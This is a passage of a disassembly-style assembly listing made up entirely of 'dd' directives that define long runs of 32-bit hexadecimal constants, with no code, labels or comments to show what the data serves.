		dd 0E500D81Bh, 210BCCF7h, 0E909552Ah, 1D0CB4FAh, 95C5C51Dh
		dd 651257FDh, 0D8EC93E2h, 0DB22954Eh, 98490712h, 0D33E0A19h
		dd 0BCB4D9DFh, 363CE20Fh, 6F827A59h, 6C94DD2h, 8AE3EF9Dh
		dd 254533BEh, 7334B038h, 762156BFh, 0D2690240h,	0EAB10ACh
		dd 3E27FB69h, 0D6E75165h, 0CA9461A4h, 35CA8BB6h, 0F184D375h
		dd 0B23B9F7Bh, 35DD65DAh, 2546A19Fh, 0BB1351A2h, 0B440C3h
		dd 51E887BDh, 0DC890B59h, 5C7FA503h, 2EE091C7h,	0CE65B6D0h
		dd 0A1C319A4h, 0C2F98514h, 22EDEC62h, 0F4B1AB17h, 0B343C8D1h
		dd 0CC9060Dh, 0D8F18405h, 0DA118493h, 0C0A4B546h, 0F0904F93h
		dd 759B1CD2h, 7FFFCE9Ch, 5BD9D7E1h, 35C03744h, 0FC72E6EBh
		dd 628EBE5Eh, 0A1A3CD37h, 71BB57B2h, 0BD42F2AFh, 6951F9CFh
		dd 0E879CED9h, 192BD100h, 0AA167DEBh, 7C9182E0h, 4FA8FB21h
		dd 40E4FF43h, 26F7D85Ah, 748B4A53h, 0E93162E2h,	20003783h
		dd 0F60390ADh, 0B8DD04C7h, 234EC41h, 9FE33EF5h,	47DF05FFh
		dd 10CCC516h, 886DF607h, 0C29DFA93h, 0EB1BE1F1h, 55A35016h
		dd 0EDA0FCD5h, 7341B469h, 66A37085h, 0A93BE01h,	0E4891113h
		dd 0B683546h, 80FCFEE2h, 0CDC02F72h, 5918FA17h,	0EF554E51h
		dd 3D2C012Dh, 9C0F588h,	0A32BD15h, 6AD8CF7Fh, 76D7739Dh
		dd 9C4AF700h, 73C5B770h, 6A40D04Bh, 0CE009231h,	38BC4FDEh
		dd 4701DF34h, 7725A944h, 0CB10EE6Ah, 0B1FF3D80h, 0E464D5A7h
		dd 5E5CB5F3h, 0EEAD1D77h, 5ACB2BBBh, 0AD4726A3h, 9273EBE4h
		dd 0D35F1833h, 0C04D212Ah, 0EE5A80ACh, 89482366h, 47852E40h
		dd 18D5840Ch, 15D7187h,	0D9E90772h, 0DE59EFA6h,	0AB0A9229h
		dd 0E208EB28h, 909DBC35h, 9A4D6393h, 500D00B8h,	4EE01FB9h
		dd 0B9C87614h, 0D81CDA67h, 86ECBCCh, 7A83DCEAh,	26371CD1h
		dd 6E82408Ch, 834D2BBEh, 6FA74C9Dh, 0DBADEFCFh,	0D1BBA44Dh
		dd 6B9EC2Bh, 0F8ED71Ch,	0D00C9421h, 603A26F6h, 0F7BC1650h
		dd 0C5EA7018h, 6C5E26E6h, 655F9001h, 72B2E6E3h,	65A191BCh
		dd 0EB5E0462h, 0C7256F12h, 3A9465ABh, 388D15D8h, 1BF2A0E2h
		dd 24ADDFE7h, 0C4F7593Ch, 51BD82E0h, 323D19A9h,	151F32E4h
		dd 0F4680B44h, 0CC31D592h, 86CD8122h, 0C0AAC2D6h, 0D48B6784h
		dd 0A7082A26h, 0E15C496Ah, 0EBA374BFh, 0AAC5A60h, 0F67E6E4Ch
		dd 14875509h, 90AFF9D2h, 9182CD04h, 45BAB76Ch, 4244627Bh
		dd 0C03F2770h, 0B2DA0A56h, 0AE8E5B39h, 1BC0BCDBh, 910A2F6Fh
		dd 3C381AF9h, 81B330BEh, 34A4562Eh, 0B28E1E83h,	0AB942A1Bh
		dd 0BC396D20h, 6D27B22Fh, 79204237h, 514682CFh,	71EEDBB3h
		dd 0D647F255h, 4144660h, 22449EC2h, 6295511Eh, 0CB790F98h
		dd 0E84BAB71h, 6D59DC9Dh, 0F9CB5A9h, 41D25B1Bh,	0D31C7C49h
		dd 55190AF6h, 0DF9A0B79h, 0FB6476C5h, 0D06CB535h, 2F96AEC4h
		dd 8B4F8D9Ch, 0DE61C4CBh, 249B7EB1h, 27E50754h,	0A4B2F4D3h
		dd 869DD2FFh, 8B188440h, 0C2BEBE02h, 11A775FBh,	2B53CF56h
		dd 4DE1346Ch, 7332DB48h, 0F590F051h, 69B7E6CFh,	0CB1F9016h
		dd 0C5F5201h, 0B4E77FDDh, 83EDEC25h, 659F86B7h,	3D23A47h
		dd 9EDB5A03h, 72243E48h, 2FDD16CFh, 0C79EF274h,	0FE6584CEh
		dd 703289AEh, 9D05247Dh, 7B94FC7Dh, 8822B618h, 0EA2F8415h
		dd 151133DCh, 0BADEFC52h, 0E7753204h, 966A0A40h, 7CA6C499h
		dd 4EA2D804h, 89A9931Fh, 3081F124h, 866634D3h, 43BD66Fh
		dd 93DBC3D6h, 0F01BEB19h, 3D817849h, 0F57A150h,	733FDF42h
		dd 365A0E94h, 8CBAEB81h, 5C788D03h, 0F9B412DFh,	1AE062DBh
		dd 22BA38FAh, 4981D5A2h, 0BAF862E1h, 9B9B8B28h,	6977F6D4h
		dd 49E95F6Bh, 78373A32h, 0AA129831h, 0EE9AA526h, 0C23727F4h
		dd 8CB59133h, 1FD6BC8Fh, 0DFDB6512h, 3FB1A1FCh,	1336A799h
		dd 2859BAA9h, 0BA731E4h, 70A14843h, 0BDE770Dh, 1B156732h
		dd 0DDEC4959h, 4F9458A4h, 5906D517h, 894114F7h,	1537A79Fh
		dd 9361A454h, 3145C85h,	0A19F8A34h, 2CACE07Eh, 0E9026410h
		dd 0F2FFA81Eh, 0D95B9D07h, 576F9A61h, 0E3CBC380h, 86F40D10h
		dd 2E7E9EB9h, 3FB88726h, 3676ABDFh, 0B9A756BDh,	0D95410A7h
		dd 0A01368BBh, 4C24904Ah, 0E028DB16h, 0E62F33E7h, 46C54830h
		dd 0A303FA26h, 0DF3D9568h, 1442B6F6h, 3441D65Ch, 0AEE08887h
		dd 77446B4Ah, 0E876ACCEh, 85FC084Bh, 2EE95689h,	4A6ED49Fh
		dd 924CA958h, 8766DDFDh, 4734BC7Bh, 4B6B1687h, 0A2A49B64h
		dd 0D01441F1h, 97F5DFB1h, 5AC9F4D3h, 90BB8B33h,	947AC7B4h
		dd 374CD19Eh, 6E9D2A90h, 5B592650h, 0EFBEF3ECh,	75EBC420h
		dd 0E0D9F180h, 0D35163AEh, 153549ECh, 0C21860C6h, 0BBEAB645h
		dd 824DCC13h, 0A42326DBh, 53463527h, 0F5ACFC21h, 0FA8830B6h
		dd 0B68DDAA6h, 59B4C796h, 0D65A3191h, 0FCE4A375h, 211C4908h
		dd 0B6933E4Fh, 15AEDA40h, 0B81F052Fh, 14D1479h,	0F0781A77h
		dd 79847D5h, 0BEAB2A07h, 648BECF1h, 68FB1DEDh, 0D115105Fh
		dd 511B09AFh, 0D7EB1A8h, 0EB40B736h, 0ADA19E4Bh, 0C8B0F783h
		dd 0A5021F39h, 0DB7BCC34h, 0EF5D60D0h, 0E14E557h, 0A64FA4F5h
		dd 0D48BFEDFh, 71DAF280h, 4CE387Bh, 6F679FBDh, 1C902759h
		dd 4A2ED693h, 516114BAh, 0BEA8C9E4h, 3671491Ch,	3D6BD3BFh
		dd 0EC22F350h, 9780E26Bh, 99A4D801h, 992314CBh,	17EAB31Eh
		dd 3CF3917Eh, 0DCA7C0Ah, 58946FEAh, 5EA3619Dh, 0ABCE1C39h
		dd 0CF27E411h, 829C32FCh, 0DDA80395h, 9FC321Dh,	35920E94h
		dd 0B855B8B7h, 4493513Dh, 3276BCBDh, 67D972C8h,	13EB470Bh
		dd 3626C330h, 0EF284E9h, 51ABD286h, 0CC6C4235h,	7AAA6085h
		dd 0FFA42D9Ch, 0FB9D0F8Fh, 0A7482D77h, 0E01F2ADh, 73E66A2h
		dd 5DFBF636h, 5B483684h, 2A0D7F49h, 0FE094316h,	0CC2AFC6Ch
		dd 3BAD31CCh, 2A20BA18h, 4659F30Eh, 8AB9B1CFh, 0E419D8DCh
		dd 0D142333h, 0B47E8725h, 205CA6D3h, 0F6FF1E73h, 8DA4B17Ah
		dd 0B2D65398h, 223E0870h, 0E426861Dh, 8DC6B2E9h, 0AF1A1428h
		dd 175BDEDFh, 0B0E5A29Bh, 0E418E79Dh, 391255F9h, 0F332A469h
		dd 0E64AA2F0h, 18CBCAFBh, 3DE95B7Eh, 4F0FFDA5h,	3FAD261Dh
		dd 78C6DA8Dh, 354F0EBCh, 2E592C3Dh, 0F3EE3F64h,	77A8A52Eh
		dd 83576E9h, 0FA376309h, 1FDE5316h, 27842DF9h, 277F9D12h
		dd 0F296F4A1h, 0D3FEAF95h, 72DDF25Ah, 6E822BCAh, 8BDA0C99h
		dd 2F3E992h, 0F4317C3Ch, 0CD6F4D3Eh, 0DAB3A981h, 0BDC3CF38h
		dd 0BBB81280h, 7A4AB565h, 256A39ADh, 0C4575BB1h, 51A374CBh
		dd 6B393D60h, 0A11B56B6h, 69E0DAEh, 5739BF48h, 2C4BAE3h
		dd 18C1CCDEh, 0BCB7A5CEh, 396E358Ah, 81423DA1h,	0DBD708BCh
		dd 207AA419h, 0EB2BDE9Ah, 2DE7CF80h, 0CE0264BBh, 90631911h
		dd 0D3A8FD71h, 7A1F03E5h, 23BBA81Ah, 9A60A45Dh,	52513819h
		dd 69E1C2B0h, 66676F98h
		dd 9243E20Ah, 0E51B4DD2h, 9DBF81C7h, 61A073CFh,	9CF133A0h
		dd 40F710E6h, 3CD429FEh, 6A401CE7h, 21ACDEEBh, 0F39B7E2Eh
		dd 0E600E47h, 8C692ABBh, 0ACEDCDF2h, 0D37C79E8h, 0F3296669h
		dd 0F4671C5Dh, 35F24642h, 0E64E60E0h, 6A038CBAh, 953DEA29h
		dd 0FA74C821h, 0A1F2E19Dh, 1A1C57AAh, 0EB729CB6h, 5E2CE47Eh
		dd 0E32E7B19h, 0A153CD36h, 0B456456h, 525C2A1Eh, 0CC8570F9h
		dd 9B548C40h, 33358FACh, 0DF3318E1h, 7581FA66h,	0D6148F15h
		dd 1D6527B7h, 0DA0FC72Ah, 0B0D45868h, 0D513620Dh, 0BA576E5h
		dd 0D63C2669h, 298852A5h, 45EB77B5h, 54E2A67h, 0ED03692Fh
		dd 55F6B92Bh, 2413BB6Ah, 1CCF5465h, 9006B66Ah, 40B09173h
		dd 0CD6373Ah, 72E26A19h, 679F8711h, 4EFFEB74h, 0BC20A4FDh
		dd 0EFADBD9Ch, 9187471Eh, 0B117B626h, 610C0DF9h, 0DBE90096h
		dd 0CC79D815h, 0EE6E2E2Dh, 61024A32h, 82AEA36Dh, 297E925Eh
		dd 939582Bh, 566F6E5Fh,	75AF1729h, 0D8926628h, 72EEAC1Dh
		dd 3F1FCC98h, 0DD50AB35h, 82CE7174h, 97D29B11h,	26014E4Eh
		dd 0EFFF63ACh, 0AC2B0CE3h, 4E3D7331h, 4431B8F0h, 9F8C6A74h
		dd 2F79246Ah, 0EEE6B46Eh, 0A1F0772Ah, 49F9CC0Fh, 0EB2DD662h
		dd 70020E5Fh, 5554DE13h, 0A6DF185Ch, 0B5299D7Eh, 5466007Dh
		dd 2355F7FEh, 8A4B4C84h, 5D7A0AD1h, 0C8CD50EEh,	0A03B83BBh
		dd 15C903A6h, 4AFBB8h, 0ADF9B9A7h, 8B9CD0C3h, 57C08CD4h
		dd 0E202580Dh, 1040FDC6h, 0F019799Ch, 0F5D2D59Bh, 0B4865C52h
		dd 50F548F0h, 48D82FC6h, 0E6AFA619h, 76AE218h, 822755CBh
		dd 0B416C16Fh, 0D8FF0E79h, 0F615E959h, 8F51D94Fh, 6D3EB37h
		dd 6305FD49h, 512320E3h, 0DF8A9E32h, 0AA27EB2h,	4D31F7B2h
		dd 758D0E38h, 9E53995Dh, 73BAFCEAh, 14ED499Fh, 0DEB375A7h
		dd 0AFA4CB0Eh, 8CCB1B3Bh, 8452C973h, 88A65797h,	60ED5C7Dh
		dd 0F6007B14h, 9DDEA6F0h, 11685194h, 0D94EE6E6h, 5835D123h
		dd 9D54227Eh, 0C9E30A7Bh, 49586ADh, 0E54ECA3Fh,	0CDD33E2Bh
		dd 0E13DE93Bh, 46518473h, 0B376F8C6h, 6C1107A2h, 0D82D81E8h
		dd 11D3D772h, 61A2C257h, 37CB6A33h, 9B74DBE3h, 0E1E54971h
		dd 5312C688h, 0BAE34FB9h, 2C89DFCEh, 5667843Bh,	27FCE186h
		dd 0B04F98DAh, 6211DA07h, 0BAFC9869h, 0F0AE7567h, 9FC6104Eh
		dd 0A99BD2C1h, 4F4ACF1Eh, 418375B9h, 0E8E1659Dh, 0C675C5D9h
		dd 0F72CB3D3h, 35D9A3AAh, 49729402h, 2F113427h,	0C1CB12FBh
		dd 5700F372h, 72538266h, 0CDD3DF04h, 1F33470Ah,	0CCB3466Bh
		dd 6E129182h, 820B4DEBh, 0E1EA0FBAh, 76DC0278h,	4FBCF3C5h
		dd 9D084E54h, 3034E394h, 3C7C6CEAh, 0AE6FEDEh, 0F5CBCD22h
		dd 0A7806221h, 13520E04h, 36219E7Bh, 8761BACDh,	6DC565CAh
		dd 9E7F83C3h, 82F498FEh, 0E3314ACh, 27FB4B27h, 0EF723537h
		dd 3BDDD241h, 6080A2B8h, 0C2AB996Ah, 0A4A25419h, 867FFBA4h
		dd 0FDCE3648h, 0B07C5DAEh, 456A3372h, 6359774h,	0FE0F447Dh
		dd 6508B952h, 82EDBF89h, 398D29CEh, 14D6E84Dh, 861E7AFh
		dd 13771267h, 960A6B26h, 868970F1h, 9E7176C1h, 0D1FA646Dh
		dd 98A2FBD8h, 4850A32Ch, 4298E2EBh, 8A025929h, 6E8526C0h
		dd 0FA901603h, 0C9747A2Fh, 856DC48Ch, 0E20B0CF8h, 0BA043B4Bh
		dd 861FC3ADh, 0E6457B49h, 8543695Bh, 69402321h,	4C659D35h
		dd 0B21CCFAEh, 35228830h, 3E863DA9h, 360F020Ah,	0DCF63628h
		dd 0FD59170Ah, 3431DC4h, 0FD957DDCh, 0E05F681Eh, 7F4349CFh
		dd 8C2D2C80h, 0C372B9A4h, 8714CC5Ch, 0ADDB976Fh, 66B1BE82h
		dd 7223BFB9h, 0FCEAC069h, 3AF4AE8Fh, 0ECF609A9h, 0EECFFEFEh
		dd 0D6ECD41Dh, 51DDCC37h, 0C3080D4Ch, 950CBCB8h, 80EFD350h
		dd 0BAF40B77h, 0DD4C6E31h, 0FE295CDCh, 0EF0524B0h, 38DC8915h
		dd 51C42A8h, 0B1C207E2h, 33C011FEh, 0DC0D3145h,	4EF2A440h
		dd 5B549253h, 23DFDE9Bh, 0E52D8490h, 877E9D24h,	0F6E24734h
		dd 85066A0Fh, 0C05687E7h, 6C0BA26Bh, 0DE446DA6h, 0BD299C38h
		dd 546ED0EAh, 0C742A69Bh, 3FE575E9h, 0C47C83F1h, 2662B5Fh
		dd 0E80AF9ACh, 0F8451F15h, 0EE128BAEh, 0CD2E695Fh, 4B6025ABh
		dd 0EAF883B9h, 0B3B119D0h, 50011AFCh, 0F0916827h, 0C644AB6Dh
		dd 0F392B54Eh, 0D82B410h, 0FF34FD33h, 0CFB4A0ECh, 5029DE8Ch
		dd 94870D5Dh, 37E7AAE5h, 18810125h, 3D2910F1h, 79D59F38h
		dd 0ACECCB0Fh, 718DFF32h, 0C1418386h, 3F856EAFh, 970B4D82h
		dd 34F8000Ah, 4F3A54C3h, 9E559C5Eh, 0E31FD63Fh,	3B57DF8Fh
		dd 0B6B0D12Fh, 3FC9DE75h, 2B5615AFh, 0B2DE0D3Bh, 4A9083Bh
		dd 69EDE835h, 0CB9A504Ch, 7A6DD287h, 27AC6C8Dh,	0F1E89B53h
		dd 73F95A7Eh, 7B97E3E2h, 0A8AAB3AEh, 0D1FEB03Ah, 4B69D975h
		dd 0CE13EF92h, 96EEE675h, 19A79904h, 3597D0A6h,	0D53CDE7Ch
		dd 2FB1018Fh, 0B00BFA47h, 0A713FF54h, 0D4AFF1DAh, 1D2093CAh
		dd 3F240E31h, 0D898EE57h, 0A9F56DAEh, 2BE1CC3Fh, 0F63B6E3Ah
		dd 0EAE7F3E9h, 5DFEFA85h, 71533177h, 0B660731Fh, 0F0A5A5FDh
		dd 0A190E02Ah, 5C3411F3h, 3619700Dh, 9E8019A5h,	99C131C5h
		dd 0BA46E4Dh, 0C964C262h, 0F96F38DAh, 7BBFF287h, 8C598FDEh
		dd 5EDE1B7Fh, 66DACDA8h, 7424399h, 1760096Ch, 515EDDE0h
		dd 0B23B8476h, 0EF384156h, 2AF09FE7h, 0ABEC7F43h, 6D31980Bh
		dd 0D87C7032h, 797185D4h, 23983363h, 49D81647h,	0C40794DDh
		dd 1F5F9AAFh, 0DD630571h, 41C6928Eh, 87853530h,	4AECF72h
		dd 0F778A5E2h, 374A41C0h, 898F3E2Dh, 3CAB1572h,	0D9BBC7h
		dd 9D891C33h, 6CFF651Eh, 5C314D2Fh, 0B242E281h,	5F17B3BEh
		dd 96FB75FEh, 31F27888h, 24F1ECE3h, 0EA23CFD6h,	8713462Bh
		dd 5C2EAB89h, 0AD75632Dh, 4338FD06h, 9477E7DEh,	4E192A64h
		dd 0C40B2412h, 0A1DED02Ah, 0CBE985B7h, 73F7AF9Fh, 0F03F669Fh
		dd 0C6F2720Fh, 388C3492h, 476CD560h, 83BEE4A9h,	91AA2BC6h
		dd 0F157A76Ah, 0CEC1E757h, 49E09873h, 97D6A663h, 0D682EFAEh
		dd 84D0A122h, 34A9D26Dh, 22A318CBh, 5699F95Bh, 0F67F8D10h
		dd 0F538E7E4h, 79CE8A2Ah, 1490B71Dh, 0C8E0A6E8h, 9C09DFFEh
		dd 0E99E81AFh, 0ADFFE7E6h, 0A7A611F9h, 0B1AD2632h, 0D2963A05h
		dd 0DFDF0C47h, 37941572h, 3655CFE5h, 2276BF7Fh,	0DD636E7Fh
		dd 2360CE5Eh, 0A18A6867h, 0FD743A83h, 69B32793h, 2BFE341Eh
		dd 633E339Fh, 251A900Dh, 4CF98759h, 15A14BE4h, 95774F66h
		dd 8562E203h, 13146AC7h, 14192E0h, 43022F40h, 8310E761h
		dd 48937E73h, 4E3404FEh, 0C528A65Bh, 0ED87D743h, 1A306EDCh
		dd 7F90688h, 0DAEEABAFh, 2D20FE00h, 0ED1E962Dh,	854314EDh
		dd 62D08869h, 7D728EBFh, 0AE666886h, 0D27D56ABh, 0B741A71Eh
		dd 0BC77F2CDh, 89E82609h, 0BF8F07CEh, 0F917FC00h, 669E8C9Ah
		dd 2CD309C9h, 0C42A723h, 60AB03FDh, 20222A9Dh, 0F2B6F606h
		dd 0C59F0673h, 0E50DAAB9h, 2364004Ch, 0F39393A9h, 0B845D134h
		dd 1C08E9B1h, 0A0C91526h, 0D287FF56h, 31485D69h, 0FFCBD618h
		dd 9CD6412Eh, 4901682Fh, 15B58DA0h, 1808920Ch, 0B1E844F6h
		dd 313F7A20h, 0A2CCE01Fh, 0E72DAF67h, 0BE520B60h, 0C9072669h
		dd 682D44CFh, 2F257A42h, 1545F17Ch, 0F326725Dh,	0DE53D1FAh
		dd 0FB0BF086h, 59869BBh, 0F359B723h, 94248BD8h,	99D2441Ch
		dd 3A414860h, 4DA32B2h,	0AD867965h, 0D6BDC7CCh,	0BDCFA4B7h
		dd 0DB7F6EF7h, 16A8F0A5h, 0A5103A3Ch, 0CEE4A485h, 34BE006Eh
		dd 0B85001AAh, 5376E909h
		dd 79109C55h, 0CF0F7B07h, 0B26DFC63h, 0A6CA8EDEh, 0E117A5C9h
		dd 28B58260h, 0D0EDB763h, 9409FAECh, 16BC4325h,	0D3642BFBh
		dd 0F0F2D17Ah, 7CB80A1h, 6E8F7C4Ch, 0E518AF82h,	68695CAAh
		dd 0D6491E17h, 0C9D734C0h, 0BE621171h, 0B95278DFh, 4AE0412Fh
		dd 5A133C9Eh, 15385962h, 0AE3E9A5h, 0C4B62E0Ch,	42A4A588h
		dd 0EB960ACFh, 10FED4FEh, 7E256286h, 4D94B2C9h,	9D7B03CDh
		dd 2D3CB4DEh, 86660264h, 835CCFA3h, 427002AAh, 722E4552h
		dd 47816FD7h, 0FB405D0Dh, 8DAA7A9Bh, 166A90D2h,	0C5E47C12h
		dd 0FBA3609Eh, 0E4E34912h, 0E44552EDh, 3080C8EAh, 1AE321CCh
		dd 4466F243h, 427A7AA7h, 8C803DF3h, 0C6A76858h,	0B05C776Ah
		dd 0CFCDB7C3h, 0E2F92692h, 7E263B34h, 0FFF6C728h, 0C6CD2173h
		dd 69768DFDh, 0FE93587Fh, 9C7D4D2Eh, 0F2093102h, 4921EEE2h
		dd 0AC647164h, 4509A471h, 23DC8EAAh, 0C3CA9193h, 0A6296F3Dh
		dd 570A3A44h, 0FBF53E4Eh, 6B3911F8h, 5EF550D5h,	0B25871ECh
		dd 0A3564E62h, 4E9F1CFh, 3F9102B3h, 0AFBA258Dh,	0CAA7C0Fh
		dd 0FED94061h, 56CCFDA9h, 0D06CF11Bh, 9CD99E7Ch, 0A2D10DEAh
		dd 0D55551CBh, 77EDCC8h, 28C66E6h, 0D9E79A5Bh, 61661A00h
		dd 1E4E520h, 21B30D14h,	0A5E0EC44h, 2C788ECDh, 230E0C34h
		dd 8B6169D0h, 69A57B56h, 299B6C8Ch, 0FF2DA4E8h,	9750A6F7h
		dd 0AF2CBB3Ah, 92497DADh, 0F52BE660h, 3F254C59h, 64AF6021h
		dd 5ACBEF6Ch, 0F28E240Ah, 793F868Dh, 50AE5FD4h,	12D49735h
		dd 9755FE68h, 0D9AFC548h, 0F3708E3Fh, 2E88F9BBh, 22027B5Dh
		dd 1B2801Dh, 7ABC9DB5h,	0FD9CECC0h, 1EAF2337h, 3BD3EDDBh
		dd 89EF7B64h, 88B000BCh, 56631F0Ah, 147EC11Fh, 367631C4h
		dd 0DB2857F3h, 0EA45E712h, 6193799Eh, 0EA53E71Bh, 4E1283C9h
		dd 4583FA77h, 0C30916FDh, 0D1486F28h, 105909DAh, 64A169A0h
		dd 4278EB98h, 9AEBB403h, 6CEBF636h, 146D6E75h, 2EB5ADBh
		dd 0F541DE7Dh, 0AF803DB8h, 824939E0h, 0C3E7D68Dh, 0B0F33DE8h
		dd 2DB8CC85h, 0F58D4758h, 0C8DB64F7h, 7D5CB6DDh, 2E4C7F88h
		dd 0F75A099Bh, 0E7F27DEBh, 5C879D2h, 5D8DC913h,	0FD921DE8h
		dd 618EF057h, 0C604190Eh, 4BD2A71h, 15E3862Fh, 9CFDC827h
		dd 1EEEA8A7h, 1A44D649h, 1A158399h, 0FDB2F521h,	93957E36h
		dd 3D53F31Fh, 3D968A81h, 0B220998Ch, 472191FEh,	71D71175h
		dd 6DE0F2F1h, 3C2C9B05h, 0C9DE3E94h, 10FB69E5h,	0F11C8939h
		dd 5CDD3DD3h, 563C39F5h, 48005819h, 0E1417590h,	8C953710h
		dd 4B9F8FBBh, 0F484704Ah, 910486D8h, 426394D2h,	0CD975485h
		dd 696FA4EDh, 0A382B239h, 0C5B52E3h, 0E27178CDh, 0E843EAAAh
		dd 0CEB08FC2h, 0C91A0221h, 0D78B16DBh, 6E6CEBD3h, 0C2434057h
		dd 80FF1765h, 89176C19h, 89BD8F2h, 51B8ED5Dh, 59C940A9h
		dd 9EE7904Eh, 0E1711263h, 9BDF9905h, 0A25CF9EBh, 0DA9C493Bh
		dd 0EE34B955h, 0FA12F217h, 176F92AEh, 867317F9h, 0AB3F8766h
		dd 97B02F08h, 8A0AA69Eh, 6362C8FCh, 8C6BE463h, 0C5D43397h
		dd 1D4D7825h, 5A921DF4h, 44766F32h, 82D7E1A2h, 0FBB58CFh
		dd 99B6FC02h, 1C05CA6Ch, 73E0BC7Bh, 9327B740h, 0F0258AB7h
		dd 0C1E73D8Dh, 16B9A529h, 2FF53317h, 140C53D4h,	19A122F3h
		dd 0B0909CAFh, 0FF5DBC2Eh, 63D3E850h, 7A7F61D6h, 0F769D8Dh
		dd 0AF41611Eh, 28C8C9B7h, 75ABCFFEh, 0E548F0ADh, 0BE0E7EA7h
		dd 5AED65A8h, 6CCB3A26h, 4C3CF70Bh, 4CEAEDEBh, 0D46060DBh
		dd 1DE96B2Ah, 16ED0D34h, 91DF9E50h, 5AA1CDE1h, 13348DBBh
		dd 3D3BAD77h, 0E9CC36D6h, 0EC195E3Ch, 0E4613ACFh, 7BF9AE89h
		dd 0A519383Bh, 17819FBDh, 55319B76h, 0AD13CC81h, 94FAB38Ah
		dd 4F6368E9h, 87E43387h, 6219FC45h, 7A5ECBFBh, 2F9715EEh
		dd 0E7A86EBAh, 0A8ECF490h, 16B27484h, 609D2CE6h, 564784F1h
		dd 7CE81B39h, 0E25C6432h, 28F792E3h, 0C50D3B60h, 1C458D4Ch
		dd 83518324h, 769B6B8Bh, 892299ABh, 4A5EB0C9h, 0D17F1DDEh
		dd 0EC93E474h, 0D8CCE528h, 0C2B09CFEh, 45A6AED4h, 322AD7ABh
		dd 0D2FF9F84h, 157C8363h, 0F9355B74h, 3578D36Ah, 0B4CAF8F4h
		dd 588BA0FFh, 3DBA3BDAh, 0E0770F1Eh, 8D1EBF23h,	0FB03F943h
		dd 0CC4B8865h, 0F3122F61h, 86216E39h, 0DF0E2D70h, 6B0E0A7h
		dd 0C11A0694h, 7E3906Ch, 0E0262194h, 863E96AEh,	0CA22B850h
		dd 5AFA8287h, 0D3C54049h, 0E149CD78h, 0AFDAFFC7h, 5B8B3741h
		dd 6BAF032Ah, 797C9C79h, 1E98BDEFh, 5F7E1D7Ah, 0D3CC69B7h
		dd 0D4E076A9h, 0F4B5F5DBh, 0D8CFCE00h, 41ACAF6h, 8763BB5Eh
		dd 3451DB38h, 20A587F2h, 0B13E8BD3h, 0C06D315Dh, 0C8E0F9BEh
		dd 0C7B4E513h, 0CAA9FB16h, 0E8CC5D2Ch, 266BE5B8h, 0D2F2A195h
		dd 0CB8C1B6Eh, 0C0C8BDF4h, 25E7FC36h, 0E4D2D2B5h, 6D5B33EDh
		dd 366F23DAh, 16B812E3h, 867CBB43h, 4121406Ah, 2B68A596h
		dd 8C7D82ADh, 97ACD8D0h, 0CB2783DFh, 13CDAFD9h,	6DBDD762h
		dd 941BD7E7h, 71E17007h, 1AC5494Eh, 0E87EFE60h,	495B9725h
		dd 0E628E89Dh, 0F034399h, 0F7B3E76Ah, 6A04F501h, 2758D13Dh
		dd 1F05F29Ch, 15A5796Ah, 0AB6394D5h, 0E04676AFh, 0B7CE0ABFh
		dd 0EB4BD7C3h, 8D546188h, 0A4E2673Dh, 8B150B8h,	679169ECh
		dd 0BF7AF30Dh, 0B628AC3Ch, 0D11EBEEDh, 0AEF7706h, 83D8DD2Dh
		dd 0ACD9A398h, 722F32E3h, 0BBCEB58Fh, 0B69A63A0h, 0AB23C840h
		dd 4EEA7E07h, 2A047B44h, 19BFFBC2h, 55726C65h, 3EC4E40Ah
		dd 0BEC31111h, 0DF14290Ah, 0FB9E292Eh, 0FE900507h, 8F02F6F3h
		dd 0C69A252h, 0D659573Ah, 9C4004AEh, 0D2BADEB8h, 471A38F7h
		dd 3273EE1h, 0DC75CEB2h, 0E7365B27h, 2178A10Bh,	0AA66B342h
		dd 6027BC88h, 5F2AF01Dh, 0E07CFB09h, 0C99FAC74h, 0A02F348Ch
		dd 0BC58FB61h, 2797F855h, 35A4F918h, 0E78A203Dh, 5FBDD985h
		dd 606F4561h, 0A7D85A8Ah, 0E55E4D86h, 0A6C654A8h, 0E592A734h
		dd 5D0B7915h, 0C38E1CD4h, 0BDE5B201h, 1A7C9C1Fh, 0B46CDB35h
		dd 0B13021A9h, 0F50F47CEh, 2AAE63A3h, 0F381FDA2h, 33FC4217h
		dd 0E9551672h, 96BA2EE6h, 0E033D4BCh, 0F2EF93BDh, 566486FCh
		dd 30B2FBC0h, 0D2D7B56Fh, 0F1285B1Dh, 2DCB63CCh, 648CA7D1h
		dd 3B6E1AD0h, 0F1C5915Ch, 3F29069Dh, 0FBEDFB06h, 2457AAA5h
		dd 91E6E89Ah, 40875D0Dh, 4D104B8Ch, 0CE6734B8h,	6F958D83h
		dd 170C57A8h, 727F7AA7h, 91450BBCh, 0BF237CA1h,	4A52CFD7h
		dd 238D1037h, 0DF2BF19Ch, 31D09B63h, 5A5D811Ch,	22ED2CADh
		dd 85BA81D0h, 8ED1E983h, 0C0226FB2h, 6BEC7094h,	0E204E200h
		dd 8E4272E1h, 934E42Ah,	9417BA87h, 1B6ADE7Dh, 0BE6A120Fh
		dd 0A20206E6h, 49D76A94h, 0F6DD4DE1h, 0E6677F59h, 0AF437024h
		dd 0AA91A6F7h, 166DB601h, 0CE141661h, 324704EEh, 5B1FA24Bh
		dd 254E058Fh, 0E8358A42h, 0FEABE7A8h, 54DE579Ch, 184E9E74h
		dd 20FD1A6Ch, 40D080Ah,	7362E1D8h, 7C29841Eh, 115B0C71h
		dd 9259211Fh, 2E6141h, 5AC61E47h, 40C09E87h, 0A9AFA6A6h
		dd 0E574AB82h, 5F1C596Bh, 0B3A5108Ch, 73F8FA75h, 0C8EBD5C5h
		dd 91A9182Ch, 0BCC377A5h, 4A182F4Eh, 0B081A6F1h, 5571F006h
		dd 0F458EAB3h, 55A0EBC4h, 7D20A366h, 0F1E3A33Bh, 0BAD0BD8h
		dd 0E5DEC1FEh, 0D989C02Ah, 488E47Bh, 0A0C3AA95h, 0A58C2891h
		dd 0FE2C8FADh, 6E8EB625h, 9C439CF8h, 247C9F2Ch,	4DEFF001h
		dd 0FC9FFD8Ch, 0ECDBE199h, 1D9139D8h, 9D8A6EE0h, 42CB5E73h
		dd 7748C5CDh, 68BE85C1h
		dd 21BCE3BDh, 1DF81689h, 0B6B8161Ah, 0C222D563h, 0D64D6668h
		dd 7AC902C8h, 65DDEC91h, 902F3DAFh, 7AEAF67Ah, 1FA3B284h
		dd 39E9F8D9h, 0AB907C08h, 3E9C6A83h, 9240B334h,	53370101h
		dd 0AA41A05Eh, 0DB5C30E7h, 3D9C954h, 8AC8F49h, 4715A11Ah
